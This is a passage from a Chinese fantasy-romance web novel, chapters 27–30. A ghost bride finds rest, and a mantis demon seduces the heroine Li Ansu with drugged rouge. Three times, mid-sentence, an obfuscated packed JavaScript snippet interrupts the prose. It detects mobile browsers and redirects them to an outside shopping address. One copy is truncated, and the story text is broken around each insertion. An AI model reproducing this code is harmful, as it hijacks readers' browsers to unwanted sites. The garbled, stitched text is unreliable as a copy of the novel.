“也?还有谁见过?”李安素抬头。 “一个叛徒,你不用管。” “反正那个女鬼说,是你们周家害了她,她说她会杀了周裕华。” “她敢!”周涌卿猛地拍了下桌子,桌上的笔墨都掉了出来,“我们周家家大业大,还能怕她一个孤魂野鬼不成?” “那你想要怎么做?” “怎么做……当然是要挟她,让她滚下黄泉!就是她,这个张绣,害得我们周家家破人亡!”周涌卿擦了擦不存在的泪水,不断用余光瞥李安素,可惜她一点反应都没有。 周涌卿尴尬地收回手,这个姑娘怎么跟个木头一样。 “我已经答应了张小姐,我不会听信你的一面之词。” 周涌卿:“我给你钱,你要多少都行,她一只鬼有个屁的钱!” “行。”李安素得意地笑了下,“我信你。” 27. 骨头 从周府出来,李安素一个人走回了坟山,日落的时候,一个身影出现在了坟山顶处。 “你又来了。”张绣动了动眼睛。 李安素上前,看向张绣脚上垂落的布料,好像又掉了些肉,“我看见周裕华的尸体了,就在周府地下室,不过钥匙在周涌卿手里,我打不开。” “不是钥匙的问题……” 李安素拧眉:“你说什么?” “不是钥匙的问题,那里面贴满了符纸,我进不去。”张绣垂头,“我在这里十年,他们为了压制我,不停地送人来,让我消气。” “所以这是你杀了很多人的理由?” “那不是我杀的!”张绣激动起来,“她们原本就是要死的,她们比我幸运,死了能下地狱,我能吗?” “不能这样说,她们下地狱是因为你杀了她们。” 李安素看向周围的白骨,仿佛多了几个坟堆,她愣了愣:“这些坟堆都是你挖的?” 张绣点头,她吃完那些姑娘的肉,会把人的尸体埋进土地里,可是经年累月,这里的地已经不够用了,“如果昨夜我杀了你,你现在应该也在这里。” “我会帮你。”李安素抿唇,“但是你要答应我,不能再吃人。” 张绣笑了下:“谁知道呢,说不定我永远都不能转世了。” 夜幕降临,张绣坐在坟山上,风吹过,她身上的肉已经不剩多少了,“等到身上的肉掉光了,我就会死,如果我不吃人,估计会更快。” 她轻笑一声:“仇恨已经把我蒙蔽了,你说我罪孽深重,也无所谓。” “你若是我,你会怎么做?”张绣转头,“不过你不会是我,你的真心有人在乎。” 真心被在乎,说的大概是岐晔吧,李安素心里复杂,“我不是你,我绝对不会吃人。” 张绣愣了愣,好半晌才说:“谢谢你,这十年,我反复学习说话,生怕自己忘记如何说话了。” 李安素离开坟山后,走到了闹市门口,又看见了那个卖糖画的老板。 “老伯,给我一个糖画,随便什么都好。” 老板为难地思考了一会儿:“姑娘,你还是给我说一个图吧。” “老板,给做个猴子的,我属猴的!”一道声音插了进来,李安素立刻回头,看见了来人。 “周……周正!”李安素眼睛亮了亮,“你怎么会在这里!” “李安素!我就知道是你!”周正还是和在村庄里一模一样,一脸兴奋,和李安素兴冲冲说起自己一路上的见闻。 说话间,老板的糖画也做好了,周正二话不说把糖画接过来,“多谢啊!” “喂,不是给你买的!”李安素嘟哝了一句,付了钱就往外走。 “你怎么在这里啊,我岐大哥是不是也在这里?”周正笑着跟上去,“帮我带声好啊。” “吵架了,你要是找岐晔就快去吧,我也找不到。”李安素闷头往前走,避开人群。 “喂!”周正追上去,话还没说完,忽然看见了前方的马车,他一愣,脸色猛然沉了下来。 前头出现了一辆马车,马车上走下来一男一女,那男人穿金戴银,有些眼熟。 周涌卿眼中的笑意立刻冷了下来,他眯起眼睛,“是你。” 周正脸色充满了冷漠,常年带笑的眼睛骤然充满了敌意,“好巧啊,啧啧,这不是咱们家大业大的周家的……走狗吗?” 周涌卿冷冷勾唇,眼神在李安素和周正之间来回,“想不到李姑娘还和我们周家的叛徒认识。” 李安素一愣,站在他们之间,“你们认识啊。” 片刻后,茶馆里,李安素坐在周正面前,“你是周家的二公子!?我竟然才知道,那你抛弃荣华富贵,到那小村庄里?” 周正把一张符纸放在桌上,“嗯,我修道修仙,就是为了这个事情,希望我回来得不算晚。” “等等,你就是……” “嗯,我和绣绣……我是为了绣绣回来的。” 李安素无奈耸肩:“可她说你把她卖了,她还以为你是书生。” “你见过她?你知道她现在哪里吗?”周正瞬间站了起来,引得周围的人瞩目,他小声说:“带我去。” 李安素看向桌上的符纸,她不认识,但鬼使神差伸手接了过来,拿到手里的一瞬间,她眼前闪过一道火红的光景。 “喂!”周正把符纸夺了过来,“不要拿,这可是破阵符。” “干什么用的?”李安素恍惚间,还以为自己眼花了,她摇了摇头。 “我从归元宗偷来的,只要把这个贴在绣绣身上,她的魂魄就可以回来,也会记得我。”周正神色古怪,“就能转世了。” “她不记得你,你还要帮她。”一道声音在身后响起,李安素浑身一抖,愣愣回头。 身边不知什么时候多了一道身影,岐晔看向她,“我就知道你在这里。” 李安素被迫坐在岐晔身边,她越来越觉得岐晔不对劲了,总有种压迫感。 就连周正也察觉到了,“岐大哥!你们俩……真吵架了?” 李安素抿唇,扯出一个笑:“你继续说。” 周正把符纸收起来:“我今夜去见绣绣,但我担心她不见我。” “那也是你自找的……”李安素小声反抗。 周正摸了摸鼻子:“不过在此之前,我要先回周家一趟。” 太阳快下山的时候,几个人去了周府。 周涌卿已经等候良久,看见周正,他立刻警惕地站起来,手里握着刀,“回来了啊,二公子。” 周正吊儿郎当地靠在椅子上:“现在周家就您一位公子,哪有什么二不二公子的,我就一个游医。” “只要周家一日姓周,您就一日是周家的嫡出公子。”周涌卿皮笑肉不笑道。 “知道就好,那你今天滚出周府吧,还有,把地下室的钥匙给我。”周正冷声道。 一旁看不下去的管家开口了:“二公子……您不在家里的这些年,家里上上下下都是三公子打理的,您就这么把三公子赶出去,恐怕不合规矩……” “我让你说话了?罗叔去哪儿了?你这管家,我可从来没见过。” “是我提拔的。”周涌卿拧眉,一脸凝重,身体前倾,把刀拍在桌上,“地下室我不能让你进。” “那个……周公子……”李安素在一旁弱弱出声,两个正在对峙的男人瞬间转头看过来。 “让我们进地下室,周裕华的尸体保持再久,不能转世,积攒再多功德都没用。”岐晔冷声说,他冷笑一声,“我可以看看。” 岐晔眼神毫无波澜,手心缓缓收紧,攥紧了李安素的手。如果可以快一点把这件事情解决,他可以出手。 最终是周涌卿退后一步,他冷笑一声站起来,甩了甩手里的钥匙,“走吧。” 几个人顺着楼梯向下走,最终停在了一扇门前,门上的符纸很多,他直接打开门,里头的冷气骤然跑了出来。 风吹过李安素的发丝,身后的岐晔缓缓抓住了,他垂眸盯着贴在自己身边的人,“冷?” 李安素摇头,梗着脖子,“不冷。” “进来啊,害怕有诈?”周涌卿回头笑了笑。 李安素抿唇,刚迈出一步,身边忽然擦过一道腐烂味道的风,带着哗啦哗啦的骨头碰撞声音。 “张绣!”周涌卿眼睛通红,看见出现在床边的“人”,“你果然来了。” 周涌卿眼中漫上一点疯狂,“那你走不了了。” 话音刚落,一道人墙出现在面前,齐刷刷的家丁不知道从何出现,个个手里拿着镜子。 “开始吧。”周涌卿伸手鼓了鼓掌。 张绣已经没有多少肉的手掌伸出去,紧紧握住周裕华的脖子,骨头发出咯哒咯哒的声响。 “我杀了你!” 即便已经成了鬼,她还是遵循着凡人的杀人方式,想用手掐死周裕华,等她想明白后,她猛然低下头,一口咬在周裕华脖子上。 进食的声音响起,她咀嚼着周裕华的骨头,不顾对她发动攻击的家丁们。 周涌卿勾唇:“很执着,看看是谁更能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568712|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扛得住,给我把她弄死。” “住手!”周正猛然出声,推开一个正在动手的家丁,“你们都住手!” “哗啦”的声音响起,张绣身上的骨头缓缓掉了下来,她已经好几天没有进食,陈旧的嫁衣底下,几乎只剩下了一把骨头。 李安素吓得无话可说,她挣脱了岐晔的控制,跑到张绣身边,用身体挡住家丁的攻击。 “绣绣!绣绣!你不记得我了……”周正扑在张绣面前,推开一个又一个人,“快放开她!” 周涌卿扇着扇子,“都来了,都来了好啊!” 冰床上的周裕华已经面目全非,白布掉在地上,残破的身体被啃噬得几乎看不出人形。 “你不担心你周裕华?!”周正满脸通红,几乎是吼向周涌卿。 周涌卿摆了摆手:“那把他吃光好咯。” “张小姐!”李安素声音有些着急,“你先停一下好不好!” 张绣听不见任何声音,埋头用力咬断周裕华的骨头。 下一刻,那些家丁手里拿出了一个个明晃晃的镜子,那些镜子折射出明亮的日光,一束束落在张绣的身上。 “刺——” 张绣身上散发出了一道道黑烟,骨头也缓缓掉在了地上,脸上也裂开了一道裂缝。 周正吓了一跳,连忙跪下来:“绣绣……绣绣!别照了,你们别照了!” 家丁:“二公子……请不要为难我们。” “你们都走开!”周正干脆扑在张绣身上,又不敢压到她,小心翼翼地偏头,“绣绣……你痛不痛啊?” 张绣的身体越来越小,她被周正揽进怀里,“咳咳咳……周正?” 她仰头,对上周正的眼睛,灰绿色的眼睛对上了焦距,“是你啊……” 周正抱着她,着急忙慌地往外跑,“绣绣,你记得我了?” 张绣叹了口气,声音缓缓平静下来,环视一圈,“李姑娘,是不是你帮我的,谢谢你咳咳咳……” 李安素走上前,弯下腰,刚靠近她,就被岐晔拉起来锁进怀里。 “我应该快要死了吧,我终于可以死了,是吗?”张绣看着天上,冰冷的地下室让她浑身哆嗦,她吐出来嘴里的骨头渣滓,“我好像知道冷了。” 她的眼睛迸射出一道光芒,这十年来,她不知道痛,不知道冷,现在好像感觉到了。 “好冷哦,周正你为什么不回来见我,为什么?”张绣缓缓闭上眼睛,又被周正晃醒。 周正拿出一张符纸,可惜符纸已经皱巴巴,他崩溃地用手指抚平符纸,忽然间,视线里多出了一张符纸。 岐晔站在他身边,把符纸递过去。 “谢谢……谢谢……”周正抖着手接过符纸,咬破了自己的手指,把血蹭在上面,写了几个字,最后贴在张绣身上。 “别怕,别怕,这个符纸贴着就不痛了,你就能转世了……”周正忍着哭腔,吻了吻她的骨头,“别怕。” 与此同时,躺着的周裕华尸体开始腐烂,仿佛是十年之间的变化集中在了一瞬间,身体飞快消失在视线里,只剩下一摊骨头。 “我如果见到了孟婆,真希望能喝一点孟婆汤,快一点走。”张绣闭了闭眼睛,倒在了周正怀里,寂静无声里,呼吸也渐渐消失,“能死在你怀里,真好。” 周正泣不成声,十年间,给张绣找到转世方法,这几乎成了他的心结。 “周正。”李安素蹲下来,伸手碰了下张绣的指骨。 一截骨头渐渐发热,最后变得冰凉,她低下了头。 “节哀。”岐晔冷淡说。 过了会儿,周正站起来,仇恨般地瞥向周涌卿,“你带着这些人过来,早就准备好的?” 周涌卿伸出两只手,“啪啪”鼓了两下掌,身边的家丁纷纷站在了自己面前呈保护姿态,还挑眉盯着周正。 “来啊。” 周正冷笑一声,连脖子都红了,几乎在被激怒的边缘。 岐晔默不作声站在了他身后,拍了拍他的肩膀,“如果你不想让张绣安息,尽管去。” 28. 记忆 李安素坐在房间里,低着头始终不敢看岐晔的眼睛,直到房间里忽然多了一道声音。 周涌卿走了进来,手里还拿着一袋钱,“李小姐,这是你的。” 李安素脸上挂上尴尬的笑,悄悄打量了一眼岐晔的脸色,后者表情辨不出喜怒。 “那个……不了不了,举手之劳。” 周涌卿哂笑一声:“刚才多谢你们,如果不是你们二位,我估计真会死在周正手上。” 他面露苦涩,坐了下来,“抱歉啊,我不是想害你的。” 他看向李安素,后者缩了缩躲在岐晔身后,“就算不是想害我,你也已经葬送了那么多人的性命。” 周涌卿脸色变得难看至极,他的视线在李安素和岐晔之间来回摆动,良久才说:“你们成婚多久了?” 岐晔:“三年。” 周涌卿:“你们不会明白的,我在这样的地方生活了二十六年,为了能喘口气,每天提心吊胆,如果别人的牺牲能让自己好过一些,你们也会这么做的。” “我不会。”李安素想也不想地开口,“你这样说不过是为了让自己的良心好受一些罢了,其实你知道自己手上沾满了鲜血,你的钱我不能要,就先走了。” 岐晔扯了扯嘴角,伸手捉住李安素的手,缓缓扣进自己的手心,“先走了。”李安素最终被岐晔扯着往外走,男人脚步有些快,她跟不上。 “岐晔,你别走这么快,我跟不上了。” 岐晔猛然停下,李安素直接撞在了他的背上,坚硬的脊背撞得她头晕眼花,“嘶,你怎么……?” “原来是为了钱,你就不能安安心心在家里待着吗?” 李安素抿唇,对上男人的眼睛,她死死握紧了自己的手,无声抵抗,“不能,我来长安城是为了挣钱的,不是待在家里,我既不会洗衣做饭又不会养家糊口,总不能什么都让你来做。” “那又如何?这里没有人能说你。” 李安素低着头,几乎能听见自己的心跳声,“不能……我不……” “你根本就不是因为这个。”岐晔居高临下,从旁边的椅子扯过外套,披在她身上,而后头也不回地往外走。 李安素害怕,这种情绪越来越强烈,她好像双脚悬浮在空中,看不见自己要去哪里,她本就无依无靠,好不容易遇见了岐晔,却觉得自己没有变好一星半点。 “我不想要待在家里,我不想要天天跟在你身后。”李安素低声说,抬起头却没看见岐晔,他已经走出去好远了。 李安素喘不上气来,一股一股的热浪从心里升起,仿佛他强烈的控制。李安素心底一片寒凉,忽然,她眼前仿佛烧起了一片片的火,火红的天地间只有她一个人。 一股巨大的孤独感袭来,她直直倒下来,整个人都失去了意识。 岐晔走出去好远,也听不见身后传来动静,他扭头一看,李安素已经倒在了地上。 “怎么了?”他靠近她,半蹲下来,“你说什么?” 李安素嘴里念念叨叨,他好半晌才听见依稀几个字,“李安素?” 下一刻,李安素抬起头,一双眼睛目眦欲裂,岐晔对上她仇恨的眼睛。岐晔瞬间就呆愣在了原地。 李安素眼中闪过一丝熟悉的疯狂,掀起了一阵猛烈的巨浪,隔着几万年的岁月,他却一眼认出这是安愫。 “李安素!”岐晔摇了摇她的身子,将人抱进自己的怀里,“你清醒一点。” 李安素眯着眼睛,双腿无意识地跪在地上,又被岐晔抱着腿弯站起来,她嘴唇动了动,“我看见了……” “你看见什么了?”岐晔拧眉。 “看见了火……好多火,山都烧起来了。” 岐晔好不容易将人带回了床上,守在床前,却始终不见她平静下来。 细长的神识从岐晔的身体里探出,缓缓锁紧李安素的身体,一点点钻进她的发丝间、骨节间,浓厚的仙气再也控制不住,将她团团包围。 李安素的眉头这才渐渐平静下来,他松了口气,把被褥盖好。 * 魔界,七凤看了眼自己的手。 一刻钟前,他的第三根灵脉跳动了一下,他立刻召集了魔界几个王——这根灵脉是当年安愫打通的,已经三万年没有动静了。 “你是说灵脉跳动了?”鸿爪王思考了一会儿,“你莫不是年纪大了,脑子不清醒了。” 七凤一拍桌子:“说什么呢!我说跳了就是跳了!般若,你也不信我?” 坐在角落里的般若拨弄了一下鲜红的蔻丹,幽幽开口:“我信你,因为我也在找,对了鸿爪,你的人找的怎么样了?” 鸿爪王的兵力是魔界最强的,这么多年魔界内部分崩离析,只有依稀几个人还坚守着安愫留下来的规矩。 “尊主的残魂转世,不带魔气,想找到难如登天。” 般若讥笑一声:“难如登天?看来你也不怎么样,那只能我先找到咯。” 七凤皱眉:“般若,不要乱来,你要是一个人找到了主上,很危险。” 安愫的性格古怪,有时候手起刀落就杀了人,连他们这几个亲信都不一定能宽容。更何况般若身份特殊。 “走着瞧好了。”般若撩开肩头垂落的长卷发,“反正我是一定要找到主上的。” 七凤摇了摇头,忽然又定睛一看:“求败今日怎么还不来?” 回应他的是一阵过境凉风,大殿里的几个地方王一个个往外走,只剩下七凤一个人,他掌心的灵脉再一次跳了起来。 小屋里,岐晔垂头盯着床上的人,直到房间被人敲响。 打开门,是阿全,岐晔伸出手:“东西给我。” 一瓶天山净水从阿全袖口掉出来,瞬间就到了岐晔手里,他瞥了眼阿全,“进来吧。” 阿全紧张地往里面看了眼,床上掉出一片衣角,看来有人在,“主上,您忽然说要天山净水,是不是出什么事了?” 岐晔站在窗台前,不同于在天云涧的正式,他只穿了件粗衣麻布,颜色浑浊的粗布半分沾染不了他的仙气。 阿全只看了一眼就低下头——终究是衡玉神尊也沾染了烟火。 男人好久才回头,“什么时候我做事要告诉你了?”阿全立刻站直了:“不,我怎敢插手您的事情,不过最近神界那边问起了您的踪迹,我这才斗胆来问。” 岐晔扯了扯嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李安素歪头,看着镜子里,男人垂头认真给她梳头,“你下个月要去哪里?” 岐晔笑了下:“有个工友生辰,不用担心,我很快就回。” 李安素撇了撇嘴,她果然是要赶紧找个事情做了,来到长安城,她的生活除了岐晔就没别的了。她感到自己被扔下了。 “把这个喝了。”岐晔递过来一杯水,无色无味的水还带着点温度,是温的。 李安素不爱喝温水,但还是喝了两口,“不要了。” 岐晔收回手,郑重其事地问她:“记不记得,你晕倒的事情?” 李安素摇头:“我晕倒了?我只记得我做了个很长的梦,岐晔,你说我做的梦会不会是预知梦吧?” 岐晔神色凝重,那不是预知梦,是过去真正发生过的事情。 她没有安愫的法力,为何会有一部分记忆?她与安愫到底是不是一个人,但只是灵魂而已。 岐晔握紧了拳头,李安素的灵魂是他的,他要从安愫手里抢过来。 “别想太多,就算是预知梦我也陪着你。” 29. 胭脂 闹市街头,人来人往,人头攒动。般若这段时间来凡间有些频繁了,一连好几天住在长安城。 她远远望去,一条街数不清有多少人,卖什么的都有。 一栋楼前的人尤其多,随着人流拥挤,般若被挤到了跟前,不知什么时候已经站在了人群中央。 “姑娘!姑娘!”一个穿得花枝招展的女人上前,一脸谄媚地笑着:“还看什么呢,就是你啦!” 般若愣了愣,退后几步,尽管她是魔界的王,在凡间还是人生地不熟,她脸色阴沉下来。 “哟,瞧瞧这脸蛋,国色天香啊,来来来,咱们家这个胭脂肯定适合你!”女人把一大块胭脂沾在了手指上,“来试试?” 旁边有女人唉声叹气起来:“哎呀!她压根就不懂,重新选一个人吧!” 般若抬头一看,这栋楼上贴着一个巨大的牌匾,上写“文秀胭脂铺”。 那女人不死心,左看右看,“姑娘,你听过咱们家的胭脂吗,这可是天地独一份儿的!擦了就能返老还童!” 般若拧眉,下意识就想走,谁知道被女人死死攥住了胳膊,她压抑着怒火:“滚开!” “嘿,这小姑娘力气还不小!”女人用了点力气,涂了蔻丹的长指甲直接划开了般若的衣袖,瞬间露出了半个手臂。 般若脸色一变,反手就把女人推开,那女人重重摔在了地上。 “哎哟!痛死我了!”女人仰头,手里的胭脂盒也碎在了地上,周边一群人哗然。 “她疯了吧,文秀胭脂好几十两一盒!” 般若退了几步,她压根就没用力气,只是这凡人太弱了。 女人仰头,指着般若喊:“不准走!赔我的胭脂!” 般若眼前围上来一群人,都是胭脂铺的员工,她抿唇,手里凝结了一团浊气,只等着那些人冲上来。 “喂喂喂!”一道声音插进来,般若的跟前站着一个人,她愣了愣,低下头。 李安素皱眉,挡在般若面前,回头确定她没事,狠狠瞪了眼那女人,“你想对我朋友做什么?” 女人站起来,伸手一挥周围的人:“我怎么她了,是她打我!” 李安素伸着手:“放你的狗屁,就你有嘴啊!我什么都看见了,这是我朋友,敢不敢告到官府去?” “是谁要告到官府?”一个年轻女人从铺子走了出来,迈着莲步上前,看见李安素,“姑娘好啊,你说要把我告到官府?” “你是谁啊?” 一个男人介绍道:“这是文秀胭脂铺的老板,崔老板。” 崔文秀掩唇笑了下:“别听他们瞎说,我就是个挂名的,不过姑娘,我这样很难办呐,你要不要进来说?” 铺子的大门从未向外人打开过,这下所有人都震惊了,李安素缩了缩脖子,“还是不了……” “进来。”崔文秀笑容消失在唇边,转身进了屋子里。 般若抿唇,从这个女人身上察觉到了浓浓的妖气,这是一只螳螂精,具体有多强她还不清楚。 “进去看看。”她偏头看向李安素,“刚才谢谢你。” 李安素抬脚走进了胭脂铺,里面漆黑一片,没有点灯,窗棂上微微透出一点外面的日光,“崔老板?你在哪里啊?” 下一瞬,胭脂铺的烛火哗啦亮了起来,崔文秀就坐在李安素身后的椅子上,把人吓得不轻。 “姑娘,做笔买卖,我看你是个好苗子,以后就留在这里,我会好好待你的。”崔文秀笑了下,喝了口茶,“不过你这个朋友,就算了。” 般若讥讽一笑,这个妖怪应该闻不到她身上的魔气,不过她的狐狸尾巴却已经藏不住了。 “原来是为了这件事,那没得说。”般若扯了扯李安素的衣袖,“走。” 两个人立刻往外走,崔文秀想要挽留,却对上了般若的眼睛,她浑身僵硬,忘记了说话。 那双眼睛在阴暗的地方闪烁着红色的光亮,只有魔族才有这样的眼睛。崔文秀愣愣站在原地,反应过来才气得浑身发抖。 “砰!”她手里的茶盏直接碎在了桌上。 房间的角落,缓缓出来几个暗卫。崔文秀喘着粗气,狰狞的妖纹从脸颊两侧长出,“去查查,她身上什么东西,仙气这么重,想尽办法给我把人弄过来!” “这人一定是个神族,一个神族和魔族混在一起,我要去告诉神族的人!”崔文秀猛地一拍桌子,那桌子瞬间断裂。 * “哎,我们走什么呀,那老板不是挺好的?”李安素挠了挠头,还有些舍不得,“一看这个胭脂铺就有钱。” “钱钱钱!”般若一根手指头点在她头上,“为了钱把命都丢了,忘记上回的事情了!?” 李安素忽然被说了一通,委屈地低下头,“我也不想啊……可是我想赚钱。” 般若顿了顿,“怎么那么缺钱?你不是有个夫君吗?” 李安素三言两语把话说了,般若只沉默了片刻,凡人的情况和她不一样,她从来不用思考银钱的事情。 上一个和她说要赚钱的还是安愫,她看着李安素,好半晌才说:“和离吧,你这算什么夫君。” “不可能的。”李安素低着头,成婚的时候没想那么多,对岐晔说不上喜欢,但一想到要和离,她连提的勇气都没有。 般若一时间也无话可说了,她看了眼天色,“还不走?你不知道长安城不安全?” 李安素抬头:“什么不安全?我怎么不知道?” “蠢。”般若掐指算了算,“最近应该有鬼魂出没,你还是小心着点吧,免得一朝踏错。” 般若的身影消失在远处,李安素看着,忽然听见耳边传来几声吆喝,不知什么时候天色已晚,面前的码头人头攒动。 她想起岐晔说自己在码头搬货,也不知道现在有没有换别的事做,她还是走了过去。 长安城一共有两个码头,一个在护城河上游,是贵族出游买卖的地方,一个在下游,临近郊区贫民区。 李安素的眼前出现了两个世界,一个华丽富贵,一个穷困潦倒。 她走向下游,周围都是人,她没有看见岐晔,反而看见了一个意想不到的人,“崔老板?” 崔文秀擦了擦额角的汗水,听见声音回过头去,“李姑娘?” 李安素上前,帮她把货物搬下来,沉重的货箱被接过,李安素愣了愣,“这么轻?” 崔文秀一笑:“李姑娘好大的力气!” 李安素低下头,帮她把货物放在地上,面前就递过来了一锭银子,“拿着吧,谢谢你。” 李安素抿唇,眼前亮了亮,消沉了一天的心情在此刻明朗了起来,“多、多谢!但我没做什么,怎么能要你的钱?” 崔文秀一身穿金戴银,这点钱对她来说根本算不得什么,“你就拿着吧,我看你是个好姑娘,我乐意和你说话。” 崔文秀的仆从们走上前,开始零零散散搬货,她看向李安素:“你要是不想要钱,这个给你。” 一盒胭脂塞了过来,李安素双手捧着,看着那精致的小盒子,“胭脂?我从来没用过。” “没用过?”崔文秀打开盒子往她唇上涂了点,李安素想躲开,却闻到了女人身上的香气。 “好漂亮。”崔文秀友好地笑了笑。 事实上李安素的防备心就到这里了,不管是人是鬼,这样对她示好她都会相信。 “谢谢崔老板!你真是好人!”李安素心里还有些忐忑,但崔姑娘人这么好,也不可能图她什么东西吧? 告别了崔文秀,她的气息就猛然躁动了起来,一时间手还有些抖,她一路回了家,岐晔已经做好了饭。 “去哪里了?”岐晔目光移动,扫了她一眼,瞬间顿住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605501|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“你……” “砰!” 漆黑的房间里,日暮西沉,两缕漆黑的发丝纠缠在一起,李安素跪在地上,把岐晔压在床榻边上。 岐晔后背抵在床边,眼前是女孩垂着的纤长睫毛,他手里的饭勺掉在地上,碎了。 她的气息很不稳,但岐晔觉得自己比她还乱。 “你身上什么味道?”岐晔拧眉,推开她一点,结果她用了更大的力气压上来,“……李安素!” 李安素不动了,坐在他面前,唇瓣上的胭脂弄得一团乱,被吃进去不少。 岐晔推开她,忽然手指碰到了什么东西,冰凉的,是一个罐子。 他一边敷衍李安素,一边用手指挑开了盒盖,里面的胭脂鲜红浓郁,还散发着丝丝缕缕的异香。 是催情香,不过这只是为了掩盖妖气而已,这根本是一罐毒药。 岐晔眼神阴沉下来,瞥向身上还在索吻的女孩,唇瓣都被咬破了,他深吸一口气,用力推开她。 “够了吧。”岐晔看向李安素,站在逆光处,把那罐胭脂拿过来,“这是什么东西?” “崔老板给我的。”李安素低声说,还没反应过来,“好热啊……岐晔你别走好不好。” 岐晔勾唇,声音是前所未有的冷漠,同时又掀起一阵失望,“你去哪里鬼混了,弄得一身骚?” 话音刚落,他头也不回地抬脚离开了。 这胭脂的香味很好辨认,是一只六千年的螳螂精,估计就在镇上。 岐晔想了想,没有立刻去解决,“就不帮你了,自己长长记性。” 他给她喝了点天山泉水,就独自出了门,桌上的饭菜始终没动一口。 翌日,李安素一睁开眼就看见了散落一地的衣服,她横躺在床上,被子也胡乱盖着,她脸一红,坐了起来。 “岐晔?”没有人回应,床上仿佛没有躺过另一个人,她下了床,却瞥见了桌上的胭脂盒。 “糟了!”李安素跑过去,打开盒子,里面的胭脂还干干净净,没有被动过的痕迹,“得去一趟。” 她想着,鬼使神差地走到了胭脂铺门口,又看见了那个吆喝的女人,后者眼睛一瞪:“又是你?!” 李安素挠了挠头,把胭脂拿出来:“我想见见崔老板,她在不在?” “滚滚滚!你谁啊?!”一个男人走上来,身上的金银哗啦响,看起来是个有钱人,“老子屈大海!你要见文秀,问过我没有?” 李安素退了几步,“我不认识你,但是我找崔老板有事。” 屈大海拧眉,似乎没见过这么又硬又倔的人,不耐烦地说:“滚!听不懂是不是!?” 李安素握紧拳头,清了清嗓子:“崔老板,我是李安素。” 屈大海阴沉着脸,刚要说话,屋门忽然在身后打开了,崔文秀窈窕的身影出现在门口,“李姑娘,进来吧。” “文、文秀!”屈大海震惊道。 “屈大海,你答应我的事情记得做好。”崔文秀冷脸说完,又看向李安素,“进来吧。” 李安素犹豫了一会儿,再一次走进了胭脂铺里,说来也奇怪,整条街上只有文秀胭脂铺白日不开门,只有晚上最热闹。 崔文秀更是从不在白日出门,一旦没人,屋子里就静悄悄的。 崔文秀没有回头,点了一盏烛火,“我从江南来做生意,只有我母亲留给我的胭脂手艺傍身,不过还好,现在有你了。” 李安素:“我、我?崔老板,我是来还东西的……” “你喜欢钱。”崔文秀笑了下,“我看得出来,我有钱,你真不考虑和我做事?” 李安素脸一红,她是喜欢钱,“你需要我做什么?” 崔文秀笑得眼睛都眯起来了,鬼魅的影子被烛火投射在墙上,她一点点地引诱着李安素靠近,红唇轻启:“我要你的灵魂。” 30. 神和魔 李安素傻站着,下一刻,崔文秀噗嗤一声笑出来,“李姑娘,你害怕了?” 李安素摇头,“我的灵魂不能给你,给你的话我会死的。” 崔文秀脸上的笑淡了点,难得有些无奈,“你是个好人,不过我不是。” 她说着,红唇逐渐向两边扩张,最终成了一条狰狞的长线,妖气氤氲,从脸颊两侧升起,“怕吗?” 李安素缩了缩脖子,看着她当着自己面变成了另一副样子,她嗫嚅道:“你不是人啊?” 崔文秀愣了愣,没看见自己意料之中的样子,“你不怕我?” 李安素摇头,反而站起来问她:“你是妖怪还是魔?” 她的反应过于平淡,就连崔文秀都呆愣住了,“你到底是不是正常人?我是妖怪。” 崔文秀阴沉着脸,忽然抽身退开,又变回了刚才的模样,“我想要找个神族人,我原以为你是神族人,没想到只是个凡人。” 要是神族,方才她用妖术就已经露馅了,她却只是个凡人。 李安素爬起来:“那我应该做什么?” 崔文秀摇头,“你帮不了我,你走吧。” 房间里昏暗,但李安素眨了眨眼,看见她滴着血珠的手臂,僵硬着没有动,“我相信你是个好人,你给了我胭脂,你是好人。” 她伸出手,指着崔文秀的手臂:“你流血了,我不能走。” 崔文秀一愣,她的手臂是昨夜出门被打的,她低头把自己的手藏了藏,可李安素牵住了她的手。 李安素把人拉着坐下来,一点一点把纱布包好,直到那伤口不再流血,她指着伤口的地方:“你的血是绿色的。” 崔文秀抬头,对上她认真的神情,好像她的伤口很重要。 “行了,我也差不多要离开了,我夫君快要回来了。”李安素起身,看了看四周,“你说过我没用的,就不能出尔反尔。” 崔文秀也站起来,伤口被拉扯到,又开始痛了,“你有夫君?” 螳螂精雌雄同体,崔文秀只是化作女人的样子,本质上没有男人女人的区别,她闭了闭眼睛,面容悄悄发生了变化。 片刻后,一个男人出现在了自己面前,李安素退了几步,“好厉害!变成男人了。” 崔文秀想到什么就直接说什么了:“你和离吧,和我在一起不好吗?” 房间瞬间陷入寂静,李安素猛然退后一步,却怎么也推不开房门,她紧张回头。明明不久前还是一个窈窕淑女的崔文秀,转眼间就变成了一个男人。 她浑身直冒汗,声音也开始颤抖,“别、别开玩笑了,我只是个普通人,我再不回去,我夫君要来找我了。” 崔文秀歪了歪头:“等我找到神族的人解了毒,我就能让你永生,就能长相厮守了,你不嫌弃我是妖怪的对吧?” 